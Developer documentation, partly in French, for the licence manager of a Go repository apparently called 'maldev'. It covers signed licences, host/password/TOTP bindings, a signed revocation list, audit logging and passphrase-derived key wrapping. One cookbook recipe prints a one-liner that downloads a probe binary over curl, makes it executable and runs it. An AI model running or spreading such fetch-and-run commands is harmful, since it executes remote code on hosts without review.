The wizard, CRL publisher, and the re-issue flow all consult the active issuer when they need to sign something. Allowing two active rows would force a per-operation key-id choice; instead the operator promotes a new issuer via SetActive and the old one becomes retired in the same transaction. Existing licences keep verifying — verify uses the licence's own key-id to pick the public key, not the active flag.

How verify picks the public key

The verifying binary loads a Trusted set:

trusted := licensekg.Trusted{
    Keys: licensekg.SingleKey(keyID, pubKey),
    // …or licensekg.MultiKey for binaries that accept several issuers
}

When licensekg.Verify(pem, trusted) runs, it reads the key-id field from the PEM header and looks the matching public key up in trusted.Keys. A missing key-id → fail with a clear "unknown issuer" error.

Operator marker on the TUI

The active issuer row carries a >> ASCII marker in the [Issuers] tab and inside the new-licence wizard's identity step. The marker is ASCII-only so it renders identically across every terminal/font combo — earlier iterations used and which some Windows consoles refused to draw, hiding the active row entirely.

Tested in

  • examples/license-manager/01-issue-basic/ — generates an issuer, signs one licence, exports the public key, verifies round-trip.
  • Backend tests: internal/manager/service/issuer_test.go covers Generate / Import / SetActive / Delete (with the licences-still- reference-it guard).

Bindings

A binding is a piece of evidence the licensed binary must provide at verification time. Every binding stamped into the licence becomes a mandatory check — verify rejects the licence if a single binding is missing or wrong.

Why bindings

A bare licence is just subject + audience + validity signed by the issuer. Once leaked, anyone with the PEM and a matching binary can run it. Bindings tie the licence to evidence only the intended runtime environment can produce — the leaked PEM no longer suffices.

The three binding kinds

KindWhat the binary collects at verifyStamped at issue time
machinehostid.Composite() of the running hostOne or more host-id strings (the licence is OR-bound over the list)
passwordA passphrase typed by the userArgon2id hash of the password + parameters
totpA 6-digit RFC 6238 code generated by an authenticatorThe base32 secret (issuer-side only; verify checks the commitment)
custom:<name>Arbitrary bytes the binary chooses to feedA list of accepted byte strings

A licence may carry any combination. The "all must satisfy" rule is non-negotiable — verify ANDs the bindings, never ORs.

Wire shape (issuer side)

service.BindingSpec:

type BindingSpec struct {
    Type   string   // "machine" | "password" | "totp" | "custom:<name>"
    Values []string // host ids / password / custom values; "totp" expects 0
    Argon  *licensekg.BindingParams // optional, only meaningful for "password"
    Label  string   // for TOTP account label
}

LicenseService.Issue translates these into the licensekg.Binding values the PEM carries.

Wire shape (verifier side)

The standalone license.Verify accepts options the binary builds from runtime evidence:

v, err := license.Verify(pem, trusted,
    license.WithMachineID(hostid.Composite()),
    license.WithPassword(typedByUser),
    license.WithTOTPCode(authenticatorCode),
)

Missing options for a stamped binding → fail. Extra options for absent bindings → ignored.

Argon2id parameters

Password bindings carry the Argon2id parameters that produced the stamped hash. This lets the issuer re-tune the cost without breaking existing licences:

FieldStamped inUsed at verify
ArgonTimeBinding payloadRe-derive the hash with the same time cost
ArgonMemoryBinding payloadSame
ArgonThreadsBinding payloadSame
ArgonKeyLenBinding payloadSame

The Settings screen has three pre-baked profiles (fast / default / paranoid) — see Argon preset (coming). Future licences pick the operator's currently-selected preset; old ones keep verifying with whatever they were stamped with.

TOTP secret handoff

When the wizard adds a totp binding, LicenseService.Issue returns the plaintext secret in IssuedLicense.TOTPs[i].Secret exactly once. After that the secret lives only in the KEK-wrapped column of TOTPSecret. The TUI surfaces it inline in the wizard's post-issue overlay (QR + URI + 6-digit sanity check) so the operator can hand it off to the licensee out of band — paper, 1Password share, encrypted channel.

Tested in

CRL — Certificate Revocation List

The CRL is a signed list of revoked licence UUIDs the manager publishes via GET /revoked.pem. A deployed binary fetches it at startup (or on a refresh cadence) and rejects any licence whose UUID is on the list — even though the licence's own signature is still valid.

Why a separate list

A licence is signed at issue time and never modified. The "signed PEM" cannot carry "revoked yet?" because revocation is a runtime decision the issuer makes after the licence has shipped. The CRL is the side-channel that lets the issuer say "this UUID is dead" without re-issuing every licence.

Anatomy of a signed CRL

revoke.List:

type List struct {
    Version    int            // 1
    KeyID      string         // issuer that signed it
    Sequence   uint64         // strictly increasing; rejects downgrade
    IssuedAt   time.Time
    ExpiresAt  time.Time      // refuse to use past this
    ServerTime time.Time
    Revoked    []string       // licence UUIDs (canonical, flat)
    Entries    []Entry        // optional metadata: reason, RevokedAt
}

Sign(list, priv) produces the PEM, VerifyBytes(pem, pub, kid) parses + checks the signature + the freshness invariants.

Manager side: RevokeService

MethodRole
Revoke(ctx, id, reason, actor)Atomic: insert Revocation row + flip License status + audit.
Unrevoke(ctx, id, actor)Reverse: drop the Revocation row + flip status active.
ListRevoked(ctx)Read-only view used by the Revocation TUI screen.
PublishSignedList(ctx, validFor)Build a fresh revoke.List from the current state, sign with the active issuer, return PEM. Cached for validFor/2; invalidated by every Revoke/Unrevoke.

The HTTP revocation server (internal/manager/httpsrv) calls PublishSignedList on every GET /revoked.pem request — the cache means a quiet manager doesn't re-sign on every hit.

Verifier side: license.WithRevocation

A binary in the field consults the CRL via a revoke.RevocationSource:

src := revoke.HTTPSource("https://manager:8443/revoked.pem", nil)
v, err := license.Verify(pem, trusted,
    license.WithRevocation(src, time.Hour, "/var/cache/maldev/crl.pem"),
)
  • src — where to pull the CRL from. HTTPSource, FileSource, EmbedSource, or MultiSource (tries each in order).
  • refresh — how often the binary will re-fetch.
  • cachePath — optional disk cache so a binary surviving a manager outage keeps the last known CRL. The cache enforces a monotonic Sequence so a downgrade attack via a stale file is rejected.

If the source returns an error AND no usable cache, verify falls back to the licence-only path (signature OK = accept). That fail-open behaviour is opinionated — binaries that require fail-closed should pass WithGracePeriod(0) and inspect the returned error.

Cache lifecycle

sequenceDiagram
    autonumber
    participant B as "Binary"
    participant Mgr as "license-manager"
    participant Cache as "/var/cache/maldev/crl.pem"

    B->>Cache: LoadCache(path, pub, kid, now)
    Cache-->>B: cached List (or err)
    alt cache is fresh
        B->>B: List.IsRevoked(licUUID) → verdict
    else cache is stale / missing
        B->>Mgr: src.Fetch(ctx)
        Mgr-->>B: signed PEM
        B->>B: revoke.VerifyBytes (sig + sequence + expiry)
        B->>Cache: StoreCache(path, pem, seq)
    end

Sequence monotonicity is the key safety property: an attacker that ships an OLD signed CRL (where the licence wasn't revoked yet) cannot trick the cache into accepting it because the on-disk file remembers the highest sequence the binary has ever seen.

Tested in

Audit chain

Every mutating service method writes the business row AND an AuditEvent in the same SQLite transaction. The audit log is immutable, sequential, and survives every mutation — including License.Delete which removes the licence row but keeps the license.delete event so the forensic trail is intact.

What gets audited

Any state-changing operation. Read-only methods (Get, List, Inspect, ExportPublic) do NOT generate events — they would flood the table without adding accountability.

Sample of audited kind values:

kindService methodTarget
issuer.createIssuerService.GenerateIssuer.ID
issuer.importIssuerService.ImportIssuer.ID
issuer.set_activeIssuerService.SetActiveIssuer.ID
issuer.deleteIssuerService.DeleteIssuer.ID
license.issueLicenseService.IssueLicense.ID
license.importLicenseService.ImportLicense.ID
license.reissueLicenseService.ReIssueLicense.ID (the new one)
license.supersedeinside ReIssue (atomic with reissue)License.ID (the old one, status→superseded)
license.revokeRevokeService.RevokeLicense.ID
license.unrevokeRevokeService.UnrevokeLicense.ID
license.deleteLicenseService.DeleteLicense.ID
identity.createIdentityService.CreateIdentity.ID
identity.regenerateIdentityService.RegenerateIdentity.ID
probe.token_createdProbeService.NewTokenProbeToken.ID
probe.resultProbeService.ConsumeTokenProbeToken.ID

Event shape

{
  "kind":        "license.issue",
  "target_kind": "License",
  "target_id":   "<uuid>",
  "actor":       "mathieu",
  "payload":     { "subject": "alice@example.com", "not_after": "2026-12-31T00:00:00Z" },
  "created_at":  "2026-05-20T14:00:00Z"
}

The actor is the value the caller passes to the service method. The wizard hardcodes "operator"; CLI examples pass "demo-operator". Production setups should pass the operator's real identity (e.g. os.Getenv("USER") + "@" + hostname).

payload is map[string]any — small contextual bag the writer chooses. Not indexed. Useful for forensic reconstruction (e.g. revoke audit carries the reason, delete audit keeps the old UUID/subject/status).

Transactional guarantee

return withTx(ctx, svc.store, func(ctx context.Context, tx *ent.Tx) error {
    // 1. business row
    row, err := tx.License.Create()...Save(ctx)
    if err != nil { return err }
    // 2. audit event (same tx → either both land or neither)
    return svc.audit.AppendTx(ctx, tx, "license.issue", req.Actor, ...)
})

If either step fails, the SQLite transaction rolls back. There is no way to issue, revoke, or pivot without a matching audit event — barring a bypass of svc.* and a direct write to the DB, which is a different threat-model entirely.

TUI surface

  • Audit tab [9] — chronological view of every event with filters by kind, actor, target.
  • Licence detail → Audit tab [A] — the events for one licence only (uses audit.ListForTarget).

Why deletes keep their audit

LicenseService.Delete removes the licence row + cascades Revocation + TOTPSecret. The matching license.delete event keeps license_uuid, subject, and the old status in its payload so even after the row disappears the forensic trail says "UUID X for subject Y was active-then-deleted by operator Z at time T".

Tested in

Every example in examples/license-manager/ exercises at least one audited operation. The 04-reissue example specifically demonstrates the supersession chain: the original licence gets license.supersede, the new one license.reissue, both in the same transaction.

KEK & passphrase cascade

The operator's passphrase NEVER touches the database. It is derived (Argon2id) into a 32-byte KEK (Key Encryption Key) that lives in process RAM, used to wrap and unwrap sensitive columns via ChaCha20-Poly1305 AEAD. The KEK is zeroed on a clean shutdown.

Why two layers

The passphrase is a human secret; the KEK is a machine secret. Separating them lets the manager:

  • Use a slow, memory-hard derivation (Argon2id) once at startup instead of on every column-decrypt operation.
  • Rekey the DB by re-wrapping every column under a new KEK, without changing the passphrase — and vice versa.
  • Zero the KEK from RAM on exit so a post-mortem memory dump doesn't yield the wrapping key.

Derivation

passphrase + kek_salt (16 bytes, plaintext in Setting)
    → Argon2id(time=3, memory=64 MiB, threads=4, keylen=32)
    → KEK (32 bytes, in RAM only)

Setting.kek_salt is stored in plaintext on purpose — its only job is to prevent two managers with the same passphrase from landing on the same KEK. It is unique-per-DB and immutable.

Column wrapping

[12-byte random nonce] || [ciphertext] || [16-byte AEAD tag]

ChaCha20-Poly1305 with a fresh random nonce per column. Catastrophic if a nonce is reused (key recovery), so every wrap reads from crypto/rand.Reader.

Wrapped columns:

TableColumnContents
Issuerencrypted_privEd25519 private key (64 bytes)
RecipientKeyencrypted_privX25519 private key (32 bytes)
TOTPSecretencrypted_secretTOTP secret (base32)
ServerConfigrevocation_admin_token_encRevocation server admin token

Everything else is plaintext. The reasoning: anything that can be reconstructed from issued licences (subjects, audiences, features) does not need wrapping, and wrapping it would add latency to every query without changing the threat model.

Canary

Setting.kek_canary = KEK.Wrap(random32) is written at DB creation. On every startup the manager attempts KEK.Unwrap(canary):

  • Success → the passphrase + salt produced the right KEK; carry on.
  • Failure (AEAD tag mismatch) → wrong passphrase; the manager prompts again, three attempts then exit.

This is the authentication check — the rest of the DB schema doesn't care whether the KEK is right because the wrapped columns are only unwrapped on demand.

Passphrase cascade at boot

The manager resolves the passphrase in strict order; the first non-empty source wins:

1. flag --passphrase-file <path>   → read file, trim whitespace
2. env MALDEV_MGR_PASSPHRASE_FILE  → read the file named by the var
3. env MALDEV_MGR_PASSPHRASE       → direct value
4. (v2) OS keystore (DPAPI / Keychain / libsecret)
5. fallback: interactive TUI prompt (masked modal)

CI scripts plug into step 1 or 2; interactive operators land on step 5. The TUI's Settings screen surfaces which step actually resolved (read-only "Cette session a résolu via : …" line) so the operator can audit that automation isn't accidentally falling back to the prompt in headless runs.

Rekey (ChangePassphrase)

SettingsService.ChangePassphrase runs the rekey in a single SQLite transaction:

  1. Verify the old passphrase via the canary.
  2. Derive a NEW KEK from the new passphrase + a fresh kek_salt.
  3. For every wrapped column: unwrap with old KEK, wrap with new KEK, write back.
  4. Update Setting.kek_salt + Setting.kek_canary.
  5. Replace the in-memory KEK + .Wipe() the old one.

A crash mid-rekey leaves the DB unchanged (transaction rolls back); a crash after commit but before the in-memory swap leaves the next boot with the new passphrase.

Tested in

  • examples/license-manager/01-issue-basic/ and every other example boots a fresh in-memory store, derives a KEK from "demo", and proves the canary check passes — exactly the path a real boot follows minus the passphrase prompt.
  • examples/license-manager/09-import-and-verify/ proves a licence verifies without the KEK at all (verify only needs the issuer's PUBLIC key — the KEK protects writes, not reads of the licence PEM itself).

License Manager — Cookbook

Recettes opérationnelles copier-coller. Chaque recette décrit le flux Go côté Services — la TUI expose les mêmes opérations graphiquement dès son implémentation.

Nouveau ? Lis d'abord concepts.md pour le vocabulaire et l'architecture. La Configuration liste les flags et variables d'environnement.

Recettes essentielles :

Recettes opérationnelles :


Recette 1

Première utilisation : initialiser la DB et créer le premier Issuer.

Au premier lancement, si la DB n'existe pas, le wizard de démarrage s'enclenche. Voici l'équivalent programmatique :

package main

import (
    "context"
    "log"

    "github.com/oioio-space/maldev/internal/manager/crypto"
    "github.com/oioio-space/maldev/internal/manager/service"
    "github.com/oioio-space/maldev/internal/manager/store"
)

func main() {
    ctx := context.Background()
    passphrase := "ma-passphrase-secrete"

    // 1. Générer un sel KEK et dériver la KEK.
    salt, err := crypto.GenerateSalt()
    if err != nil {
        log.Fatal(err)
    }
    kek, err := crypto.DeriveFromPassphrase(passphrase, salt, crypto.PresetDefault)
    if err != nil {
        log.Fatal(err)
    }

    // 2. Ouvrir (ou créer) la DB — migrations automatiques.
    db, err := store.New("/var/lib/maldev/manager.db", kek)
    if err != nil {
        log.Fatal(err)
    }
    defer db.Close()

    // 3. Construire le bundle de services.
    svc := service.New(db, kek)
    defer svc.Close()

    // 4. Créer le premier Issuer (active=true automatiquement si c'est le seul).
    issuer, err := svc.Issuer.Generate(ctx, "Lab EU primary", "k2026-05")
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("Issuer créé : %s (kid=%s)", issuer.Name, issuer.KeyID)
}

La DB est prête. La clé privée de l'Issuer est stockée chiffrée (encrypted_priv). La passphrase n'est jamais écrite sur disque.


Recette 2

Émettre une licence simple avec Subject + Audience + durée.

import (
    "time"
    "github.com/oioio-space/maldev/internal/manager/service"
)

// svc est déjà construit (voir Recette 1).
issued, err := svc.License.Issue(ctx, service.IssueRequest{
    IssuerID:     issuer.ID,
    Subject:      "alice@example.com",
    AudienceList: []string{"rshell"},
    NotBefore:    time.Now(),
    NotAfter:     time.Now().Add(30 * 24 * time.Hour),
})
if err != nil {
    log.Fatal(err)
}

// issued.PEM est le blob PEM prêt à être distribué.
log.Printf("Licence : %s\n%s", issued.Row.LicenseUUID, issued.PEM)

Le PEM est stocké dans la DB (License.pem) et peut être réexporté à tout moment via svc.License.ExportPEM(ctx, id).


Recette 3

Émettre avec binding machine + mot de passe + TOTP.

Cette recette combine les trois bindings les plus courants. L'opérateur fournit les fingerprints de la machine autorisée (obtenus via Recette 4 ou hostid.Local() local).

import (
    "time"
    "github.com/oioio-space/maldev/internal/manager/service"
)

issued, err := svc.License.Issue(ctx, service.IssueRequest{
    IssuerID:     issuer.ID,
    Subject:      "bob@example.com",
    AudienceList: []string{"rshell"},
    NotBefore:    time.Now(),
    NotAfter:     time.Now().Add(90 * 24 * time.Hour),
    Bindings: []service.BindingSpec{
        {
            Type:   "machine",
            Values: []string{"a1b2c3d4e5f6..."},  // hostid.Local() hex
        },
        {
            Type:   "password",
            Values: []string{"hunter2"},           // haché Argon2id à l'émission
        },
        {
            Type: "totp",                          // génère un secret TOTP automatiquement
        },
    },
    Features: []string{"pro"},
})
if err != nil {
    log.Fatal(err)
}

// Récupérer les infos de provisioning TOTP (secret, URI, QR).
if len(issued.TOTPs) > 0 {
    t := issued.TOTPs[0]
    log.Printf("TOTP URI : %s", t.OtpauthURI)
    log.Printf("QR ASCII :\n%s", t.QRImageASCII)
}

Le secret TOTP est stocké chiffré dans TOTPSecret.encrypted_secret. Pour le réafficher plus tard :

view, err := svc.TOTP.PrintQRASCII(ctx, issued.Row.ID)
// ou
err = svc.TOTP.ExportQRPNG(ctx, issued.Row.ID, "/tmp/totp.png")

Recette 4

Fingerprint probe : obtenir le hostid d'une machine distante.

Cette recette suppose que le serveur Probe est démarré (voir Recette 6).

import "time"

// 1. Créer un token probe (valide 24h par défaut).
token, err := svc.Probe.NewToken(ctx, "Alice prod box", 24*time.Hour)
if err != nil {
    log.Fatal(err)
}
log.Printf("Token : %s", token.ID)
log.Printf("URL de base : https://<manager>:8445/probe/%s", token.ID)

// 2. S'abonner au résultat (channel notifié quand la machine POSTe).
resultCh := svc.Probe.Subscribe(token.ID)

// 3. Afficher le one-liner à copier-coller (aussi disponible via /snippet).
log.Printf(`One-liner Linux/macOS :
  URL="https://<manager>:8445/probe/%s"
  curl -fsSL "$URL/agent/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')" \
    -o /tmp/maldev-probe && chmod +x /tmp/maldev-probe \
    && /tmp/maldev-probe "$URL/result"`, token.ID)

// 4. Attendre le résultat (goroutine ou select avec timeout).
result := <-resultCh
log.Printf("Hostname : %s", result.Hostname)
log.Printf("Local    : %s", result.LocalHex)
log.Printf("Composite: %s", result.CompositeHex)

Le résultat est persisté dans ProbeToken (colonnes local_hex, composite_hex, hostname, os, arch, used_at). svc.Probe.History(ctx, 20) liste les 20 derniers résultats.


Recette 5

Révoquer une licence + publier la CRL HTTP.

import "github.com/google/uuid"

licID := uuid.MustParse("73f56081-5cce-4073-9632-...")

// 1. Révoquer dans la DB (status → revoked, Revocation row créée).
err := svc.Revoke.Revoke(ctx, licID, "fin de mission")
if err != nil {
    log.Fatal(err)
}

// 2. Générer et afficher la CRL signée (même opération que le serveur HTTP).
crlPEM, err := svc.Revoke.PublishSignedList(ctx)
if err != nil {
    log.Fatal(err)
}
log.Printf("CRL:\n%s", crlPEM)

Si le serveur Revocation est démarré, chaque GET /revoked.pem appelle PublishSignedList à la volée — la CRL est toujours fraîche.

Pour annuler une révocation (cas d'erreur) :

err = svc.Revoke.Unrevoke(ctx, licID)

Recette 6

Démarrer et arrêter les serveurs HTTP.

Les serveurs sont configurés via ServerConfig (singleton PK=1). Ils sont tous OFF par défaut.

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/internal/manager/httpsrv"
)

// Construire le Bundle (à faire une fois, après service.New).
bundle := httpsrv.NewBundle(svc)
svc.AttachServers(bundle)

// Configurer les adresses d'écoute.
_, err := svc.Settings.UpdateServerConfig(ctx, func(u *ent.ServerConfigUpdate) {
    u.SetRevocationListen(":8443").
        SetHeartbeatListen(":8444").
        SetProbeListen(":8445")
})
if err != nil {
    log.Fatal(err)
}

// Démarrer individuellement.
if err := bundle.Revocation.Start(context.Background()); err != nil {
    log.Fatal(err)
}
if err := bundle.Heartbeat.Start(context.Background()); err != nil {
    log.Fatal(err)
}
if err := bundle.Probe.Start(context.Background()); err != nil {
    log.Fatal(err)
}

// Statut courant.
s := bundle.Revocation.Status()
log.Printf("Revocation: running=%v addr=%s requests=%d", s.Running, s.ListenAddr, s.Requests)

// Arrêt propre (10 s timeout).
bundle.StopAll(10 * time.Second)

Les événements temps-réel (requêtes entrantes, erreurs) sont disponibles via bundle.MergedEvents().


Recette 7

Rotation de clé : générer un nouvel Issuer, le désigner actif, retirer l'ancien.

La rotation ne casse pas les licences existantes : le binaire consommateur charge plusieurs kid dans son Trusted. Seules les nouvelles licences seront signées avec la nouvelle clé.

// 1. Générer le nouvel Issuer (inactive par défaut si un autre est déjà actif).
newIssuer, err := svc.Issuer.Generate(ctx, "Lab EU rotation", "k2026-08")
if err != nil {
    log.Fatal(err)
}

// 2. Désigner le nouvel Issuer comme actif.
//    L'ancien Issuer perd son flag active=true automatiquement.
err = svc.Issuer.SetActive(ctx, newIssuer.ID)
if err != nil {
    log.Fatal(err)
}

// 3. Exporter la nouvelle clé publique pour la distribuer avec les binaires.
pubPEM, err := svc.Issuer.ExportPublic(ctx, newIssuer.ID)
if err != nil {
    log.Fatal(err)
}
log.Printf("Nouvelle clé publique :\n%s", pubPEM)

// 4. Retirer l'ancien Issuer (optionnel — signe encore les licences existantes).
oldIssuerID := uuid.MustParse("...")
err = svc.Issuer.Retire(ctx, oldIssuerID)

Issuer.Delete refuse si des licences ont été signées par cet Issuer. Utilise Retire pour le marquer inactif sans le supprimer.


Recette 8

Importer une licence PEM existante dans la DB.

Utile si une licence a été émise manuellement via le package license/ ou reçue d'un autre manager.

pemBytes, err := os.ReadFile("/path/to/licence.pem")
if err != nil {
    log.Fatal(err)
}

row, err := svc.License.Import(ctx, pemBytes, "licence Alice importée")
if err != nil {
    log.Fatal(err)
}
log.Printf("Importée : %s (status=%s)", row.LicenseUUID, row.Status)

La licence est décodée et vérifiée (signature Ed25519) avant insertion. status est mis à active si not_after est dans le futur, expired sinon.

Pour inspecter un PEM sans l'insérer :

lic, err := svc.License.Inspect(pemBytes)
// lic est un *license.License décodé, non inséré en DB.

Recette 9

Changer la passphrase de la DB.

Le changement de passphrase re-dérive la KEK et re-chiffre toutes les colonnes sensibles dans une unique transaction.

err := svc.Settings.ChangePassphrase(ctx, "ancienne-passphrase", "nouvelle-passphrase")
if err != nil {
    log.Fatal(err)
}
log.Println("Passphrase mise à jour.")

ChangePassphrase :

  1. Vérifie l'ancienne passphrase via le canary.
  2. Génère un nouveau sel KEK.
  3. Dérive la nouvelle KEK.
  4. Dans une transaction unique : re-wrap chaque colonne chiffrée + met à jour Setting.kek_salt + Setting.kek_canary.
  5. Remplace la KEK en mémoire + l'efface.

Si la transaction échoue, la DB reste cohérente avec l'ancienne passphrase.


Recette 10

Re-issue d'une licence (remplace une licence existante).

Re-issue est utilisé pour étendre la durée, modifier les bindings ou mettre à jour le payload d'une licence existante. La licence originale passe en status=superseded et la nouvelle porte replaces_license_id.

import (
    "encoding/json"

    "github.com/oioio-space/maldev/internal/manager/service"
)

originalID := uuid.MustParse("73f56081-...")

reissued, err := svc.License.ReIssue(ctx, originalID, service.ReIssueOptions{
    // Chaque champ non-zéro remplace la valeur héritée de l'original.
    // Les champs zéro tombent en cascade sur l'original.
    NotAfter: time.Now().Add(180 * 24 * time.Hour),
    Features: []string{"pro", "extended"},
    Audience: []string{"prod", "staging"},
    Payload:  json.RawMessage(`{"tier":"gold"}`),
})
if err != nil {
    log.Fatal(err)
}

log.Printf("Nouvelle licence : %s", reissued.Row.LicenseUUID)
log.Printf("Remplace : %s", originalID)

L'original est listé dans l'audit avec kind=license.supersede. La chaîne replaces_license_id est navigable via svc.License.Get(ctx, id) (champ Row + Successors dans LicenseDetail).

Côté TUI : [e] sur l'écran Licences ouvre le wizard pré-rempli depuis l'original (validity, audience, free-fields, payload). Les étapes identity / recipient / bindings / TOTP sont héritées telles quelles ; les 4 étapes éditables enchaînent step 5 → 6 → review. La pré-fix de cette session corrige le bug "Ré-émission OK mais nouvelle licence déjà expirée" causé par NotAfter zéro dans les anciens ReIssueOptions.


Recette 11

Supprimer définitivement une licence (round-trip export/réimport).

License.Delete efface la ligne License et tout ce qui en dépend (Revocation, TOTPSecret) en une seule transaction. Le but principal est de libérer le license_uuid (UNIQUE) pour qu'un PEM précédemment exporté puisse être réimporté sans erreur de doublon — utile pour migrer une licence entre instances ou pour rejouer une licence de laboratoire effacée par inadvertance.

// Sauvegarder le PEM avant suppression — la base ne le retient pas.
pem, err := svc.License.ExportPEM(ctx, licID)
if err != nil {
    log.Fatal(err)
}

if err := svc.License.Delete(ctx, licID, "operator"); err != nil {
    log.Fatal(err)
}

// Le license_uuid est maintenant libre — réimport possible.
row, err := svc.License.Import(ctx, pem, "reimport", "operator")
if err != nil {
    log.Fatal(err)
}
log.Printf("Réimporté avec le même UUID: %s", row.LicenseUUID)

Trade-off à connaître : supprimer une licence révoquée la retire aussi de PublishSignedList. Tout client qui n'a pas encore récupéré la CRL ne verra jamais la révocation. Pour une licence encore en circulation, garde la révocation (Recette 5) ; réserve Delete aux licences que tu veux ré-importer ou qui n'ont jamais quitté le laboratoire.

L'opération est tracée dans l'audit avec kind=license.delete et conserve license_uuid, subject, et l'ancien status même après la disparition de la ligne.

Côté TUI : sur l'écran Licences, sélectionne la ligne et presse [D] (majuscule, cohérent avec [E] exporter). Un confirm overlay rouge récapitule subject + UUID court avant validation par y ou enter. La même touche est aussi reliée à Revocation (suppression directe de la licence sous-jacente, distinct de [x] qui ne fait que la ré-activer), à Issuers (refuse tant que des licences référencent la clé — message d'erreur explicite avec le compte) et à TOTP (alias de [x] pour cohérence inter-écrans).

Issuer.Delete zéroise la clé privée chiffrée en mémoire avant le drop SQL — la trace audit conserve name + key_id pour la forensique post-suppression.


Voir aussi

Tutorials

Each tutorial is two things:

  1. What you do in the TUI — a numbered key sequence.
  2. The client program — the Go code your binary runs to use the licence the TUI produced.

Each page opens with Objectif / Concepts / Attendu so you know what to expect before pressing a single key.

Read them in order — each builds on the last:

#ScenarioConcept introducedClient API
01Issue a basic licence, verify itEd25519 signing, trust chainlicense.Verify
02Machine + password + TOTP bindingsEvidence AND semanticsWithMachineID, WithPassword, WithTOTPCode
03Manager publishes a CRL, client polls itLive revocation, cache fallbackWithRevocation(HTTPSource)
04Hand off a TOTP secret via QR codeRolling code, clock-skew windowWithTOTPCode
05Encrypt a payload to one recipientX25519 sealed box, per-licensee secretseal.Open

Each page ships a CI-tested example so the documented keys + code can't silently drift from reality.

Running them

# Render every tape into docs/.../tutorials/assets/*.gif:
go run ./cmd/tui-gif vhs/tui-gif/tutorial-NN-*.tape

# Run every E2E (drives tape + client together):
go test ./examples/license-manager/tutorials/...

Tutorial 01 — Issue a licence, verify it in your binary

Objectif — produce a signed licence file and run a Go binary that accepts it. Concepts — Ed25519 signature · issuer key · license.Verify Attendu — the client prints [ok] licence verified with the subject; flipping any byte of the PEM makes it exit 1.

In the TUI

  1. 2 → Licences screen.
  2. n → open the wizard.
  3. Press Enter through every step (the defaults are fine for this tutorial — no bindings, 1-year validity).
  4. On the last step, Enter again to sign.
  5. Cursor lands on the new row. Press E → type /tmp/alice.licenseEnter.
  6. 3 → Issuer keys screen → press E on the active issuer → type /tmp/issuer.pubEnter.

You now have two files: the licence PEM and the issuer's public key.

tutorial 01 TUI flow

In your program

package main

import (
    "log"
    "os"

    license "github.com/oioio-space/maldev/license"
)

func main() {
    licPEM, _ := os.ReadFile("/tmp/alice.license")
    pubPEM, _ := os.ReadFile("/tmp/issuer.pub")

    pub, kid, _ := license.ParsePublicKey(pubPEM)
    trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}

    v, err := license.Verify(licPEM, trusted)
    if err != nil {
        log.Fatalf("license check failed: %v", err)
    }
    log.Printf("running for %s (expires %s)", v.Subject, v.NotAfter)
}

That's it. The runnable version is examples/.../client/main.go, adds flag parsing.

Test it together

go test ./examples/license-manager/tutorials/01-issue-and-verify

Renders the TUI tape AND runs the client against a real licence.

Tutorial 02 — Bindings (machine + password + TOTP)

Objectif — tie a licence to three independent pieces of evidence so a leaked file is useless without all of them. Concepts — AND semantics · WithMachineID · WithPassword · WithTOTPCode Attendu — client succeeds only when all three evidences match; drop one or change the machine ID → exit 1.

In the TUI

  1. 2 → Licences. n → wizard.
  2. Step 3 (Machine): type host-alphaEnter.
  3. Step 5 (Validity): Enter for defaults.
  4. Step 6 (FreeFields): type subject=alice@example.comEnter.
  5. Step 7 (TOTP): toggle ON → Enter.
  6. Step 8 (Review): Enter to sign.
  7. The post-issue overlay shows the TOTP secret and a 6-digit sanity code. Copy both — the secret goes to the licensee out of band.
  8. E on the licence row → save /tmp/alice.license.
  9. 3 → Issuers → E → save /tmp/issuer.pub.

The wizard captures the password evidence inline before step 8 — type hunter2 when it asks.

tutorial 02 TUI flow

In your program

package main

import (
    "log"
    "os"

    license "github.com/oioio-space/maldev/license"
)

func main() {
    licPEM, _ := os.ReadFile("/tmp/alice.license")
    pubPEM, _ := os.ReadFile("/tmp/issuer.pub")

    pub, kid, _ := license.ParsePublicKey(pubPEM)
    trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}

    // Collect all three pieces of evidence from your runtime.
    machine  := []byte("host-alpha")     // hostid.Composite() in production
    password := "hunter2"                // prompt the user
    totpCode := "123456"                 // also prompted; from Google Authenticator etc.

    v, err := license.Verify(licPEM, trusted,
        license.WithMachineID(machine),
        license.WithPassword(password),
        license.WithTOTPCode(totpCode),
    )
    if err != nil {
        log.Fatalf("license check failed: %v", err)
    }
    log.Printf("running for %s", v.Subject)
}

Missing or wrong evidence on ANY of the three → err != nil. That's the security property — a leaked licence on a different machine doesn't start.

Runnable client: examples/.../02-bindings-and-verify/client.

Test it together

go test ./examples/license-manager/tutorials/02-bindings-and-verify

The test issues a real bound licence and runs the client with full, missing, and wrong evidence — proving the "AND" semantics.

Tutorial 03 — Revocation server + client that polls it

Objectif — run the signed-CRL HTTP server in the TUI and have a client honour revocations the operator publishes live. Concepts — CRL · monotonic sequence (downgrade defence) · revoke.HTTPSource · on-disk cache fallback Attendu — client accepts the licence; after the operator presses r, the next poll rejects it. With the manager offline, the cached CRL still enforces the last known revocations.

In the TUI

  1. 7 → Servers screen.
  2. Cursor on Revocation, press s to start.
  3. The row shows running and a Listen address such as 127.0.0.1:8443. Copy it.
  4. 2 → Licences. Issue a licence (any wizard path). Press E/tmp/alice.licenseEnter.
  5. 3 → Issuers → E/tmp/issuer.pubEnter.

To revoke later: 2 → Licences → cursor on the row → r → type a reason → Enter. The CRL re-publishes immediately.

tutorial 03 TUI flow

In your program

package main

import (
    "log"
    "net/http"
    "os"
    "time"

    license "github.com/oioio-space/maldev/license"
    "github.com/oioio-space/maldev/license/revoke"
)

func main() {
    licPEM, _ := os.ReadFile("/tmp/alice.license")
    pubPEM, _ := os.ReadFile("/tmp/issuer.pub")

    pub, kid, _ := license.ParsePublicKey(pubPEM)
    trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}

    src := revoke.HTTPSource(
        "http://127.0.0.1:8443/revoked.pem",
        &http.Client{Timeout: 5 * time.Second},
    )

    v, err := license.Verify(licPEM, trusted,
        license.WithRevocation(src, time.Hour, "/var/cache/myapp/crl.pem"),
    )
    if err != nil {
        log.Fatalf("license check failed: %v", err)
    }
    log.Printf("running for %s", v.Subject)
}

The cachePath matters: if the manager is offline, the client replays the last signed CRL it saw. The CRL's monotonic Sequence blocks stale-cache downgrade attacks.

